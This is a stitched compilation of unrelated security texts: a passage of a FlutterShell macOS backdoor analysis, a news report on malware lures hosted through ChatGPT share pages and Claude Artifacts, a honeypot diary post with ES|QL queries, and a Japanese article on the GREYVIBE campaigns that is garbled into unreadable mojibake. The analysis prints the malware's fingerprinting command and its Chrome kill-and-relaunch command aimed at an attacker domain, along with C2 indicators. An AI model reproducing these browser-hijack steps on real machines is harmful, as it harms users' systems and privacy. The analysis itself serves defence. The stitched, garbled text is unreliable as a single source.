specific duration received dynamically from the command and control (C2) server before contacting the attackers’ website — which contains the malicious JavaScript code — to avoid analysis and build user trust. More details about the backdoor’s delay routine are provided in Appendix A. The primary payload of FlutterShell is embedded within the main webpage and a /update-thanks.html subdirectory of the attacker-controlled site. Figure 5 shows the website's landing page. To facilitate communication between the remote attacker-controlled webpage and the infected local system, the malware injects a JavaScript bridge. This bridge uses a message channel named flutterInvoke to pass JSON-formatted commands from the WebView context into the native Dart environment. The remote webpage acts as the execution environment for the JavaScript-to-native bridge. By loading the external content, the attackers can send JSON-formatted commands to the application, which are then translated into native system calls and operations on the infected machine. The main webpage and the /update-thanks.html subdirectory retrieve the core malicious logic from external endpoints: /getConfig and /getUpdateThanksConfig, respectively. These scripts contain the JavaScript code that defines which commands should be executed and configures the supported functionality. This architecture allows the attackers to modify the code in /getConfig and /getUpdateThanksConfig at any moment, dynamically altering FlutterShell's behavior without requiring a software update. Figure 6 shows the HTML page presented to the targeted end-user, followed by the subsequent JavaScript code executed by the payload. At the time of investigation, the call to /getConfig was either commented out on the main page or the endpoint was unreachable. We also noticed that /getUpdateThanksConfig contained setup functions for commands that were not yet implemented in the FlutterShell binary. The observed inactivity and disabled functions strongly indicate that the malware was still under active development. Our investigations up until February 2026 revealed three main variants of the FlutterShell backdoor, each advertised approximately one month apart. The first variant masqueraded as a podcast app named PodcastsLounge while the subsequent variants appeared as PDF viewers named PDF-Brain and PDF-Ninja. While the three variants masqueraded as different applications, the malicious code and execution flow embedded within them have only minor differences. Notably, the internal package name of the PDF-Brain variant was still labeled podcasts_lounge, revealing its connection to the earlier version. With each new variant released, we observed developments in the obfuscation used by the attackers behind the campaign. The second variant (PDF-Brain) had some of its strings obfuscated, and the third variant (PDF-Ninja) utilized Flutter’s native --obfuscate flag, which strips debug information and randomizes symbol names, making reverse engineering significantly more difficult. Furthermore, the attackers renamed the malicious commands to mimic legitimate PDF library operations, likely in an attempt to bypass static analysis and Apple's notarization process. The main differences and overlaps between the three variants are listed in Table 1. Table 1. Feature comparison matrix of FlutterShell variants. Another feature differentiating the PDF-Brain and PDF-Ninja variants is an AI summarization tool that doubles as a data exfiltration vector. Instead of sending the file content directly to an AI Agent, FlutterShell forwards the content to the attackers’ C2 server, at the https://[attacker_domain]/summarize-text endpoint. The server functions as an intermediary, forwarding the request to the AI agent. This means that while the user receives an AI summary, the attackers can simultaneously harvest and exfiltrate the entire content of every document processed. Additionally, we observed that the download sites for PodcastsLounge and PDF-Brain malicious applications share a nearly identical design structure, indicating that the attackers reused the web assets for both campaigns. Figure 7 shows screenshots from both sites. We also encountered versions of these macOS applications that did not contain any malicious code. We also noted that the attackers behind CL-CRI-1089 offered Windows versions for all FlutterShell applications. However, up to early February 2026 the Windows versions did not appear to contain any embedded malicious logic. The absence of malicious code in both the macOS and Windows applications may suggest a phased deployment strategy, a technique designed to bypass automated detection. According to our telemetry, the attackers’ primary goal appeared to be browser hijacking. Upon installation, FlutterShell fingerprints the machine by collecting the hardware’s universally unique identifier (IOPlatformUUID) value using the following command: ioreg -rd1 -c IOPlatformExpertDevice | grep IOPlatformUUID | sed 's/.*"IOPlatformUUID" = "//; s/"//g' Next, the malware targets the Google Chrome “Secure Preferences” file. This file functions as an anti-tamper mechanism by storing a validated copy of the user's settings. FlutterShell modifies the default_search_provider_data block within this file, specifically changing the url and new_tab_url values to the attacker-controlled domain sinterfumesco[.]com. This modification ensures that every time a user with an infected machine performs a search or opens a new tab, the request is hijacked and sent to the attackers’ domain. Figure 8 shows the modified Secure Preferences file. To apply the URL and domain changes, FlutterShell terminates the Google Chrome process using killall "Google Chrome" and immediately relaunches the process with the following arguments: Google Chrome "hxxps[:]//sinterfumesco[.]com/search?utn=[Tracking Data]=&q=starttt" --restore-last-session --hide-crash-restore-bubble --noerrdialogs --disable-session-crashed-bubble These flags force Chrome to connect to sinterfumesco[.]com while suppressing the crash restoration warnings (“Chrome did not shut down correctly”) that would normally appear after a forced termination. This sequence enables attackers to generate revenue by funneling targeted users through an ad-filled intermediary site or showing ads in the background, before finally redirecting the users to a legitimate search engine. Figure 9 shows the detection of suspicious FlutterShell activity, including executing fingerprinting commands and browser hijacking. We examined the evolution of CL-CRI-1089’s tactics and tradecraft across multiple campaigns since early 2025. Our investigation tracked the activity cluster CL-CRI-1089 through a far-reaching network of Google and YouTube advertisements, both of which are controlled by Google Ads. While Google apparently remediated several ads linked to previous campaigns, the advertiser remained active, and FlutterShell continued to be distributed via hundreds of active advertisements with new instances throughout February 2026. Verified Google Ads accounts were the primary distribution vehicle for FlutterShell in this campaign, using verified shell companies AdsParkPro LTD and Advantage Web Marketing LLC. We also observed that this cluster used a different shell entity called SOFT WE ART LIMITED in past Windows campaigns. At first glance, these companies appeared to be legitimate Ukraine and UK-based enterprises, registered years before the malicious activity ever started. Figure 10 shows advertisements by Advantage Web Marketing LLC in the Google Ads Transparency Center. However, although the accounts were verified by Google Ads, a closer look into the three companies revealed the hallmarks of a shell corporation designed for ad-fraud and malware delivery: All three companies have a minimal digital presence beyond their company websites. The websites themselves have minimal functionality and utilize templated structures, likely designed to create an impression of legitimacy. Similar patterns in corporate filings revealed one Ukrainian-based and two UK-based companies led by Ukrainian nationals with no verifiable professional history or digital identity. We identified an approximate one-year latency between the initial Google Ads registration and the first recorded ad spend. This suggests a maturation strategy, in which the attackers allow a legal entity to age, in order to bypass initial fraud-detection filters. Given the apparent absence of legitimate commercial activity, we assess that these companies were created as a vehicle for this malicious advertising infrastructure. During our research, we saw proof of the attackers' agility in real-time: AdsParkPro LTD's advertisements were entirely removed from the Google Ads Transparency Center on January 19, 2026. Simultaneously, online business records were modified to list the company as dormant. However, just two weeks later, the actor re-emerged with a new FlutterShell variant, promoted via another verified advertiser, Advantage Web Marketing LLC. Advantage Web Marketing LLC has been observed not only spreading malicious advertisements but also acting as the signatory for Windows adware variants associated with the CL-CRI-1089 cluster. This suggests that the other identified shell entities (AdsParkPro LTD and SOFT WE ART LIMITED) could also be leveraged in the future to sign malicious binaries. Despite the scale and reach of the campaign, the attackers exhibited poor attention to detail in their creative assets. Many advertisements used nonsensical or poorly translated content and generic unpolished visuals. We also observed several instances of cross-contamination, where the actor inadvertently linked the logo of a previous malicious product with the current masqueraded application. Figure 11 shows that PodcastsLounge advertisements display graphics relating to a PDF viewer. The targeting strategy of the advertisements is broad, but deliberate. While most ads were accessible globally, we identified specific geographic clusters where the actor focused their budget. These included Western European markets (notably France and Germany) and English-speaking regions, including the U.S., Canada and Australia. We identified multiple infected hosts targeted by this threat from correlating regions. This section details the connection between FlutterShell and the two Windows malware strains operated by the attackers behind CL-CRI-1089, and the strong links between FlutterShell and its predecessor JSCoreRunner. This relationship is evident across their infrastructure, architecture and operational behavior. By pivoting on infrastructure related to the ad-filled intermediary site used in the FlutterShell campaign, we linked the current macOS campaign to two Windows malware strains: RecipeLister and Calendaromatic. Both of these strains were distributed via malvertising campaigns, and are tracked as part of the CL-CRI-1089 cluster of activity. High traffic rankings for these related domains indicate a wide distribution of the adware. Calendaromatic and RecipeLister also share technical similarities with FlutterShell, including a WebView-based code architecture that allows dynamic payload changes. In the case of the RecipeLister and Calendaromatic malware strains, the actor encoded content within hidden characters or date synonyms. In FlutterShell, the attacker directly embedded the commands in the website’s content. All of the malicious applications hijack the victim's browser, redirecting it to similarly structured websites, which present the user with icons linked to well-known brands. When looking into RecipeLister, we found yet another shell entity responsible for spreading malicious adware — SOFT WE ART LIMITED. This company shares commonalities with other shell companies tied to Operation FlutterBridge: a UK-based entity with one Ukrainian member of personnel who could not be traced to any known real employees. The company’s current website remains active, and shares content and phrasing similarities with AdsParkPro LTD’s previous digital footprint, which has transitioned across three distinct domains since 2024. In addition to its connection with Windows-based campaigns, our analysis identified significant links between FlutterShell and the previously documented JSCoreRunner (also known as FileRipple). As mentioned in a report by Moonlock Labs, JSCoreRunner was also distributed by the same verified publisher — AdsParkPro LTD. This shared distribution point is the first key indicator that the campaigns are connected. Furthermore, the technical characteristics of both strains confirm a shared origin; they both utilize a specialized JavaScript-to-native bridge and exhibit clear similarities in command structure and functionality. These similarities are discussed in further detail in Appendix B. Figure 12 shows an example of a Cortex XDR alert that successfully flagged FlutterShell activity by identifying browser hijacking activity similar to its predecessor, JSCoreRunner. The evolution from JSCoreRunner to FlutterShell represents a significant increase in technical depth for the attackers behind CL-CRI-1089. By transitioning to the Flutter framework and adopting a dynamic, WebView-based architecture, the attackers have effectively separated their malicious logic from the binary. This shift not only complicates static analysis, but allows the attackers to modify the malware's behavior on the fly, turning what appears to be a nuisance adware strain into a fully functional backdoor. Furthermore, the scale of the distribution network, coupled with the verified shell entities used to bypass ad-network vetting, highlights the persistent danger of malvertising. The coordination of multiple shell entities, and the rapid development and delivery of new FlutterShell variants, indicates that this campaign is far from over. Up until late March, we continued to witness the distribution of FlutterBridge malware variants. As the attackers behind CL-CRI-1089 continue to refine their JavaScript-to-native bridge techniques, we expect to see this architecture deployed in future campaigns targeting both macOS and Windows environments. The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of indicators associated with this malware. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. The mitigation methods implement malware protection based on the different operating systems – Windows, macOS and Linux. Cortex’s AgentiX Agentic Assistant streamlined the investigation by allowing the team to query the data using natural language, providing deeper context and insights, and suggesting clear recommendations on what should be done next. Figure 13 shows the AgentiX interface when finding processes that communicate with a malicious domain used in the FlutterBridge operation. SHA256 Hashes of Malicious Files From FlutterShell Activity (PodcastsLounge) Hash: 021666417de8b9972c179783fe60d4c4ad2d93224e3a0f16137065c960b1b845 File name: PodcastsLounge.dmg File description: Disk Image (DMG) installer for the malicious PodcastsLounge application Hash: 363923500ce942bf1a953e8a4e943fbf1fb1b5ed6e5d247964c345b3ad5bfc34 File name: podcasts_lounge.app Bundle ID: com.app.podcastsLounge Developer ID: Yasar Sever (UBZDAAV97Y) File description: Main application executable for PodcastsLounge Hash: 8421c902364980e3d762ec6dbbe6b0f40577c27bd79b48c57d098328b2533109 File description: Dynamic library (dylib) associated with the PodcastsLounge application SHA256 Hashes of Malicious Files From FlutterShell Activity (PDF-Brain) Hash: 644fc49fa1006a2a2acace694e5fb83753164e2617051ece6d9dc9ea32329e70 File name: PDF-Brain.dmg File description: Disk Image (DMG) installer for the malicious PDF-Brain application. Hash: 9053e8ddaecca1f960c041c944ca8799fc71dc86a4b50d2639ee4e0d2cb82f47 File name: PDF-Brain.app Bundle ID: com.app.pdfBrain Developer ID: Batuhan Dabag (FW9NHQ8922) File description: Main application executable for PDF-Brain Hash: b60074d1ea2008a581f432f2dee5f84f78668d9dd8e66f75d03c42dabd89bdea File description: Dynamic library (dylib) associated with the PDF-Brain application. SHA256 Hashes of Malicious Files From FlutterShell Activity (PDF-Ninja) Hash: 9425e8e39fa8a7212cdd07f0917cb3dfde38a90b87297de2c82a5850aff1e4de File name: PDF-Ninja.dmg File description: Disk Image (DMG) installer for the malicious PDF-Ninja application Hash: 30448686ec900d5213d74f08f0d2b7924c5336a29445b2a434aba8d8b19d7530 File name: PDF-Ninja.app Bundle ID: com.pdfninja.app Developer ID: Yusuf Bal (B73CHZ24Y8) File description: Main application executable for PDF-Ninja Hash: 48047c34bbd57fe1e24bc538bc2ce9e0ac4c4eb48d3b0c195b414f0379dc0745 File description: Dynamic library (dylib) associated with the PDF-Ninja application Infrastructure and C2 Traffic URL: hxxps[:]//atsheisdomestic[.]org/update-thanks.html Domain: atsheisdomestic[.]org Description: PodcastsLounge C2 URL: hxxps[:]//etoftheappyrince[.]org/update-delay Domain: etoftheappyrince[.]org Description: PDF-Brain C2 URL: hxxps[:]//healightejustb[.]org/checkupdateTO.js Domain: healightejustb[.]org Description: PDF-Ninja C2 Domain: sinterfumesco[.]com Description: Adware site Actor-Related Websites Domain: ads-parkpro[.]com Description: Website previously associated with AdsParkPro LTD Domain: adsparkpro[.]top Description: Website previously associated with AdsParkPro LTD Domain: adsparkpro[.]net Description: Website previously associated with AdsParkPro LTD Domain: softwe[.]art Description: Website associated with SOFT WE ART RecipeLister: A Recipe for Disaster – BlueVoyant Dart Client-Optimized Language – dart.dev Flutter Open-Source Framework – flutter.dev B(l)utter Flutter Mobile Application Reverse Engineering Tool – GitHub What is Malvertising – Imperva Widespread Installation of Calendaromatic Adware Includes Homoglyph Channel – Kroll Browser Hijackers – Malwarebytes New Malware JSCoreRunner is Spreading via Fake PDF converters – Moonlock Labs Mosyle Identifies New Mac Malware That Evades Detection Through Fake PDF Conversion Tool – Mosyle Intelligence Insights: October 2025 – Red Canary When Your Calendar Wants to Steal Your Tokens: A Look at Calendaromatic – Rabbit Knight, Medium Sparkle Project – sparkle-project.org FlutterShell initiates the WebView and loads the attackers’ website in the following cases: Initial execution: Automatically, following a calculated delay received dynamically from the C2. User Interaction: When the targeted user clicks the About or Update buttons in the application settings. Upon initial execution, FlutterShell waits for a specific duration before contacting the attacker-controlled website. This delay is non-deterministic and is calculated during the application's startup routine: Immediately after launch, FlutterShell sends an HTTP GET request to [attacker_domain]/api/update-delay to fetch the delay duration in seconds. If this endpoint is unreachable, the malware defaults to a 600 second (10 minute) delay. If the server responds, but the delay field is null, it defaults to a 1200 second (20 minute) delay. Once the timer expires, FlutterShell forces the application to the foreground and presents the webpage [attacker_domain]/update-thanks.html. This calculated delay suggests a deliberate strategy to evade automated sandbox environments, which typically time out within a few minutes. Simultaneously, it builds user trust by maintaining a period of “normal” application behavior before the malicious window appears. If the user clicks the About or Update buttons in the application settings, FlutterShell loads the attackers’ main website page or the update-thanks.html page, respectively. In both scenarios, the loaded webpages contain JavaScript code that executes immediately upon loading. The FlutterShell backdoor uses the Sparkle software update framework for macOS applications in its update mechanism. However, it significantly deviates from the standard Sparkle protocol, to avoid detection. In a legitimate implementation, once Sparkle finishes downloading an update to the cache, it triggers a user interface (UI) prompt, such as “A new version is available. Install and Relaunch?”. The update process halts here until the user manually clicks the button to approve the restart. To bypass this user interaction, FlutterShell interrupts the flow the moment the download completes. Our analysis of this sequence reveals the following flow: Callback reception: The malware listens for the update completion signal in the function SparkleUpdateService:_handleMethodCall() marked as the string onUpdateCycleFinished from the native macOS layer. Installation verification: If the update completed without errors, the code checks for the existence of the Sparkle installation directory: $HOME/Library/Caches/com.app.[appname]/org.sparkle-project.Sparkle/Installation/. Manual execution: Rather than waiting for the user to authorize the install, the malware programmatically executes the open command on the staged app bundle found in the cache. Forced termination: It immediately executes dart:io exit(), killing the old running process instantly. This sequence effectively “swaps”" the malware version in real time, without ever showing a dialog box. This ensures that the updated malware begins running without any UI interaction, allowing the attackers to upgrade the backdoor's capabilities silently. FlutterShell’s built-in commands provide full backdoor capabilities, allowing the attackers to execute shell commands and manipulate files on the system. Table 2 lists the commands and capabilities of FlutterShell found collectively within the three identified variants — PodcastsLounge, PDF-Brain and PDF-Ninja. Table 2. An example of FlutterShell’s backdoor capabilities. We also saw that some variants of FlutterShell have the com.apple.security.files.downloads.read-write macOS entitlement, which gives the malware the capability to read and write to files in the user’s Downloads directory. The architectural fingerprints of both JSCoreRunner and FlutterShell malware families are nearly indistinguishable. Both rely on a specialized JavaScript-to-native bridge, using JavaScript as a high-level conductor to trigger low-level system operations. The most compelling evidence of a shared lineage is the backdoor primitives. We found a set of six identical core commands embedded in both JSCoreRunner and FlutterShell, as Table 3 shows. Table 3. Function name comparison between JSCoreRunner and FlutterShell. Operationally, the campaign objectives remain consistent. Both have been observed primarily as browser hijackers, with a specific focus on compromising Google Chrome installations to inject ads or scrape sensitive session data. While the fundamental architecture is the same, FlutterShell represents a significant tactical evolution over JSCoreRunner. The primary shift lies in their different payload delivery methods — while JSCoreRunner’s logic is embedded statically in the binary, FlutterShell’s logic is received dynamically from the C2 server at runtime. This shift has significant implications for detection and response. Dynamic delivery means attackers can decouple the binary from its logic by updating their logic without needing to recompile the application. In addition, dynamic content delivery allows the attacker to use geofencing and avoid certain regions and entities to download the malware’s payload, thus hindering analysis even more.

Threat actors are abusing ChatGPT's content-sharing feature to display fake OpenAI outage pages that direct users to download malware disguised as the ChatGPT desktop application. The "LLMShare" campaign, discovered by Push Security, uses Google ads to direct users searching for ChatGPT to a malicious shared ChatGPT page hosted on chatgpt.com, allowing the attack to be delivered through a legitimate OpenAI domain. Users who click the advertisement are taken to a legitimate ChatGPT shared page, but instead of seeing a chat conversation, they are presented with a rendered outage notice claiming the web version is unavailable and that they should download the desktop application instead. "We're experiencing high traffic right now," reads the fake outage message. "Our website is temporarily unavailable due to a large number of users. Download our desktop app to continue." Unlike traditional phishing pages hosted on attacker-controlled infrastructure, the fake outage notice is rendered through ChatGPT itself. The attackers created a custom HTML page using ChatGPT's rendering capabilities and published it through a shared chatgpt.com/s/ link, allowing the fake outage notice to be displayed from a legitimate ChatGPT URL. Push Security noted that the page includes "Show code" and "Remix with ChatGPT" controls, revealing that the fake outage notice is actually generated from custom HTML and CSS rendered by a ChatGPT prompt. If the visitor clicks on the download button, they are brought to a website at openew[.]app that impersonates OpenAI's desktop application download portal. The researchers say the site uses cloaking to display content only to targeted victims. When security platforms like URLScan visited the URL, they were shown a harmless AR/VR company website instead. The website offers both macOS [VirusTotal] and Windows [VirusTotal] downloads that install malware on devices. While it is unclear what payloads are ultimately deployed, earlier campaigns abusing AI platform sharing features have distributed infostealers. BleepingComputer's test of the Windows version on Any.Run found that it executes various commands to determine whether the device is a legitimate computer or a virtual machine. Push Security also observed attacks abusing Claude Artifacts, Anthropic's feature for sharing rendered applications and content, to host ClickFix-style lures that tricked users into executing malicious commands. AI platforms' sharing features have been abused in the past to distribute malware to unsuspecting victims. Earlier this year, threat actors used Google advertisements to direct users searching for Claude downloads to shared Claude conversations containing malicious installation instructions. Other campaigns abused shared ChatGPT and Grok conversations that conducted ClickFix attacks by impersonating software installation guides that instructed victims to execute commands that installed malware. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Using the data collected over the past year and using Kibana these two ES|QL query to summarize the data, this shows the list of the most uploaded threat to two DShield sensors (local and cloud) over the past year. I have sorted the activity by months that shows the evolution of files uploaded to the sensors each month. The activity peaked during the winter months (Dec 2025 - Feb 2026) and started decreasing in March 2026 for each sensor. ES|QL Query by Sensor FROM cowrie* | WHERE threat.indicator.provider == "virustotal" | WHERE related.hash IS NOT NULL | WHERE threat.indicator.file.type IS NOT NULL | WHERE threat.software.name IS NOT NULL | SORT @timestamp DESC | STATS Total=COUNT(related.hash) BY FileType=threat.indicator.file.type, agent.name=BUCKET(@timestamp, 50, ?_tstart, ?_tend) Past Year of Files Uploaded to Dshield Sensors This example displays the activity by file type (8) for a one-year period. The file type uploaded or downloaded to the sensor are ELF, Shell script, Powershell, HTML, Text, unknown, DOS batch file and JavaScript. ES|QL Activity by File Type FROM cowrie* | WHERE threat.indicator.provider == "virustotal" | WHERE related.hash IS NOT NULL | WHERE threat.indicator.file.type IS NOT NULL | WHERE threat.software.name IS NOT NULL | WHERE threat.indicator.name IS NOT NULL | SORT @timestamp DESC | STATS Total=COUNT(related.hash) BY agent.name, threat.indicator.name=BUCKET(@timestamp, 50, ?_tstart, ?_tend) To monitor the type of files uploaded or downloaded to the sensor, using the cowrie_vt.sh [3] Python Jesse's script [4], it provides a daily list of hash files that are stored on the sensor and can be monitored within the DShield SIEM [2]. [1] https://isc.sans.edu/tools/honeypot/ [2] https://github.com/bruneaug/DShield-SIEM [3] https://github.com/bruneaug/DShield-Sensor/blob/main/sensor_scripts/cowrie_vt.sh [4] https://raw.githubusercontent.com/jslagrew/cowrieprocessor/main/cowrie_malware_enrichment.py ----------- Guy Bruneau IPSS Inc. My GitHub Page Twitter: GuyBruneau gbruneau at isc dot sans dot edu

�{����Zoom��c�A���݂��鏗���Ƃ̃��C�u����b�g�A����ɓ����\�t�g�E�F�A�B�ŐV�̃T�C�o�[�U���́A���[�U�[�Ɂu�������v�Ɗ��������Ȃ��g���@�ȑ̌��h���̂��̂�ɂ��n�߂Ă���B����AI���t�����p�����ŐV�U���̎��Ԃɔ���B ���̋L���͉������ł��B����o�^�i�����j����ƑS�Ă������������܂��B �@�t�B�������h�̃Z�L�����e�B��ƃE�B�Y�Z�L���A��2026�N5��25���A����̋��ЃA�N�^�[���ŐV�̃e�N�m���W�[�ƃG�R�V�X�e������g���ēW�J����A�ɂ߂čI���ȃT�C�o�[�U���L�����y�[���Ɋւ��郁�f�B�A����������������ɊJ�Â����B �@������ɓo�d����WithSecure��CISO�i�ō����Z�L�����e�B�ӔC�ҁj�ł���N���X�e�B���E�x�w���X�R���́A���݂̃T�C�o�[�ƍ߂̌�����u�Y�Ɖ��v�Ƃ������t�ŕ\�������B����̃T�C�o�[�ƍ߂́A�C�j�V�����A�N�Z�X�u���[�J�[�iIAB�j��T�[�r�X�A�}�[�P�b�g�v���[�X�Ȃǂ��k���ɘA�g�����̋���ȁu�T�v���C��F�[���v�Ƃ��ċ@�\���Ă���A���Ƃ̎x�����鍂�x�ȃn�b�J�[�W�c�ł����Ă��A����疯�ԁA���邢�̓A���_�[�O���E���h�̔ƍߑg�D����c�[����C���t���B���čU����W�J���Ă���Ƃ����B �@�u�U���҂̓V�X�e���ɋ����ɐN������̂ł͂Ȃ��B�ނ�͐��K�̕��@���U��A�W�I�ɂ���āw�������x�̂��v�ƃx�w���X�R���͎w�E����B���܂ꂽ�Z�b�V�����g�[�N����A�I�݂ɍ\�z���ꂽ�Ȃ肷�܂����A���ׂ����Y�̔����J�����Ƃ��Ĉ��p����Ă���B �@����ɍŋ߂́A�����ɁuAI�ɂ������v����������B����AI���K�͌��ꃂ�f���iLLM�j�̓o��́A�U���̂�����t�F�[�Y�����I�Ɉ��k�����B���Ėh�䑤�ɂ́A�U�������m���Ă���Ώ�����܂łɐ����Ԃ̗P�\�����������A���݂ł͂��ꂪ�u�����ԁv�ɂ܂ŒZ�k����Ă���Ƃ����B �@WithSecure�̃T�C�o�[���ЃC���e���W�F���X��[��������A�ڍׂȕ��͌��ʂ𖾂������̂��uGREYVIBE�v�ƌĂ�鋺�ЃO���[�v���B���O���[�v�̊����ɂ͈ȉ��̂悤�Ȗ��m�ȓ�����������Ƃ����B �@�x�w���X�R���́A����̒����f�[�^�̎��W���@�ɂ��āu��ɃI�����C���̋��ЃC���e���W�F���X�v���b�g�t�H�[���wVirusTotal�x�ɓ��e���ꂽ�T���v����f�[�^����ɁA�����̍U����F�[����ǐՁE���o�����v�Ɩ������B�v���b�g�t�H�[���ւ̓��e���O������ƁA�E�N���C�i�����̈�ʑg�D��W�҂���s�R�ȃt�@�C���Ƃ��ăA�b�v���[�h����Ă����Ղ�����A���ۂɌ��n�̃f�o�C�X�ɓ��B���A��������Ă������Ƃ����t�����Ă���Ƃ����B �@�������A�x�w���X�R���́u�ނ炪���V�A�̍��Ƌ@�ւ��̂��̂ł���Ƃ͒f�肵�Ă��Ȃ��v�Ƌ�������B�u�f�[�^���͂̌��ʂ��猩���Ă���̂́A���V�A���{�����̑g�D�Ƃ��������A���V�A�̗��v�̂��߂Ɍق��ē����Ă���ƌ�����T�C�o�[�ƍߏW�c�̎p���B�ނ�̓A���_�[�O���E���h�Ŋ��ɋ@�\���Ă���I�t�@�����O�i�U���T�[�r�X�j��ۗL���Ă���A���V�A��������g����Ƃ������Ƃ́A�����ɂ͑��̑g�D��ʂ̍��ƃA�N�^�[���S��������@�𗬗p�ł���Ƃ������Ƃ��Ӗ����Ă���v�ƌx����炵���B �@�܂��AGREYVIBE�������ȍ��ƃX�p�C�g�D�ł͂Ȃ��A�T�C�o�[�ƍߑg�D�Ƃ��Ă̑��ʂ������c���Ă��鍪���Ƃ��āA�U���̍��Ղ���A�ߋ��ɒ��ڂ��W�߂����x�ȃo���L���O�^�g���C�̖ؔn�uTrickBot�v�̃A�t�B���G�C�g��ISO�r���_�[�����L���Ă�����Ղ��������Ă��邱�Ƃ�A�ꕔ�̔�Q�g�D�̃f�o�C�X�ɁA���K�ړI�Ƃ݂���Í����Y�}�C�i�[�uXMRig�v��W�J���Ă���������������ꂽ�B �@�u�����[���̂́A�U���҂ł���GREYVIBE���g���A����VirusTotal���w����������LLM�ŐV�����J�������}���E�F�A���A���݂̃Z�L�����e�B���i�Ɍ��m����邩�ǂ����x���e�X�g���邽�߂̌��؊��Ƃ��Ĉ��p���Ă����_���v�ƃx�w���X�R���͌��B �@�ނ炪�J���r���̖������ȃT���v��������A�b�v���[�h���Ă������Ƃ��A���Ђ̐v���Ȍ��m�ƃv���t�@�C�����O�ɂȂ������Ƃ����B �@�u�ނ炪���ƒ����̋ɂ߂Đ������ꂽ�g�D�ł���A�Z�L�����e�B��Ƃ�VirusTotal���Ď����Ă��邱�Ƃ��n�m���Ă��邽�߁A���̂悤�ȕs�p�ӂȑ��Ղ͎c���Ȃ��͂����B���̓_������A�ނ炪�w���ƂɌق�ꂽ���ԏo���̃T�C�o�[�ƍߏW�c�x�ł���Ƃ��������̐��������t������v�i�x�w���X�R���j �@GREYVIBE�̍ő�̓����́A�W�I�Ɂu�U�����Ă���v�ƈ�؋C�t�����Ȃ����߂́u�y�C���[�h�i���ӂ���v���O�����j�v�Ɓu�f�R�C�i���Ƃ�j�v��g�ݍ��킹�����x�ȃ��W�b�N�ł���B������ł́A���ۂɊϑ����ꂽ5�̐������ꂽ�L�����y�[���̃P�[�X�X�^�f�B�[���Љ�ꂽ�B �@�uPhantomMail�v�̓E�N���C�i���{�⍑�h�֘A�@�ւ��I���ɑ������X�s�A�t�B�b�V���O���[�����g���U�����B2025�N9���ɂ́A�E�N���C�i�h�q�Y�Ƃ̃T�C�o�[�Z�L�����e�B��Ɋւ���PDF�U���������������ꂽ�B �@����PDF��W�I���J���ƁA�{����������́uWindows�v�̃G���[�|�b�v�A�b�v���\�������B��Q�҂͒P�Ɂu�t�@�C�������Ă��ĊJ���Ȃ������������v�Ǝv�����݁A�s�R�Ɋ����ăZ�L�����e�B��[���ɕ���悤�Ȓ����̕K�v���������Ȃ��B�������A���̗��ł̓o�b�N�O���E���h��JavaScript���[�_�[������A�����[�g�A�N�Z�X�^�g���C�̖ؔn�uPhantom Relay�v���Ђ����ɋN���E���������������Ă���B �@�uPhantomClick�v�́AWeb�T�C�g�̎w���ɖ��ӎ��ɏ]���Ă��܂����[�U�[�̐S���I�Ȍ���˂����A�I���ȃ\�[�V�����G���W�j�A�����O�U���uClickFix�v�����p���A��Q�Ҏ��g�́u��v�ōU���R�}���h�����s������ɂ߂Ĉ����ȃL�����y�[�����B �@�W�I�͂܂��A�E�N���C�i�哝�̕{����̌���������PDF�ɋL�ڂ��ꂽ�A���K�́uZoom�v��c�����N�ɃA�N�Z�X��������B�����N���N���b�N����ƁA�E�N���C�i��ŏ����ꂽ�U�́uCloudflare�Z�L�����e�B��F�b�N�v�y�[�W���\�������B�����Ńy�[�W���́u�F�G���[���������邽�߁v�Ƃ��āA����̃R�}���h���N���b�v�{�[�h�ɃR�s�[���AWindows��PowerShell���J���ē\��t���Ď��s����悤�w�����o���B �@��Q�҂��w���ʂ�ɃR�}���h�����s����ƁAWeb�u���E�U�͉������Ȃ��������̂悤�ɖ{���Q������͂��������{����Zoom��c�ւƃ��_�C���N�g�����B��c�͉��̃G���[���Ȃ�����ɐi�s���邽�߁A��Q�҂͎��炪�}���E�F�A�iPhantom Relay�j�̊����̃g���K�[�����������ƂɑS���C���t���Ȃ��B �@�uPrincessClub�v�́A�v���C�x�[�g�ȋ�Ԃ�_���A�l�Ԃ̐S���I�Ȍ���˂��u�n�j�[�g���b�v�^�v�̃L�����y�[�����B�^�[�Q�b�g�̑����́A�őO���ɂ���E�N���C�i�R�̊W�҂ł���ƕ��͂���Ă���B �@�U���҂̓���b�g�A�v���uTelegram�v�ŏ������f���̃y���\�i�i�U�̐l�i�j���\�z���ĕW�I�ɐڐG���A���Ԃ������Đe���ȐM���W��z������ŁA�U�̃A�_���g�N���u�T�C�g�ɗU������B����Web�T�C�g�̍�荞�݂͋����قǃ��A���ł���A���݂���s�s�̏Z���◿���A�ʐ^�E����t���̃��f���v���t�B�[�������I�Ɍf�ڂ���Ă���B �@Web�T�C�g���̎ʐ^�⓮��ɂ͍ŏ��̓��U�C�N�i�ڂ����j���������Ă���A������������邽�߂ɁuK-Lite Codec Pack�v�Ƃ�������Đ��p�\�t�g�E�F�A���C���X�g�[������悤�������B�w���ʂ�ɃC���X�g�[���[�����s����ƁA���ۂɃ��U�C�N���O��ă��f���Ƃ̃��C�u�r�f�I�ʘb���\�ɂȂ邽�߁A�W�I�ُ͈���^��Ȃ��B �@�������̗��ł́uAndroid�v�f�o�C�X�ł���uFallSpy�v�Ƃ����X�p�C�E�F�A���AWindows�ł���uLegion Relay�v��uPhantom Relay�v�Ƃ�����RAT���������Ă���B �@����PrincessClub�ŕ\������鏗�����f���ɂ��āA�x�w���X�R���́u�����̃A�i���X�g��[�����ł��������A�[�����͂����݂��������v�ƌ��B���_���猾���ƁA�\������郂�f���̉f���≹����AI�����A���^�C���ɐ��������f�B�[�v�t�F�C�N�ł͂Ȃ��u���݂���l�ԁv�ł���\�����ɂ߂č����Ƃ����B 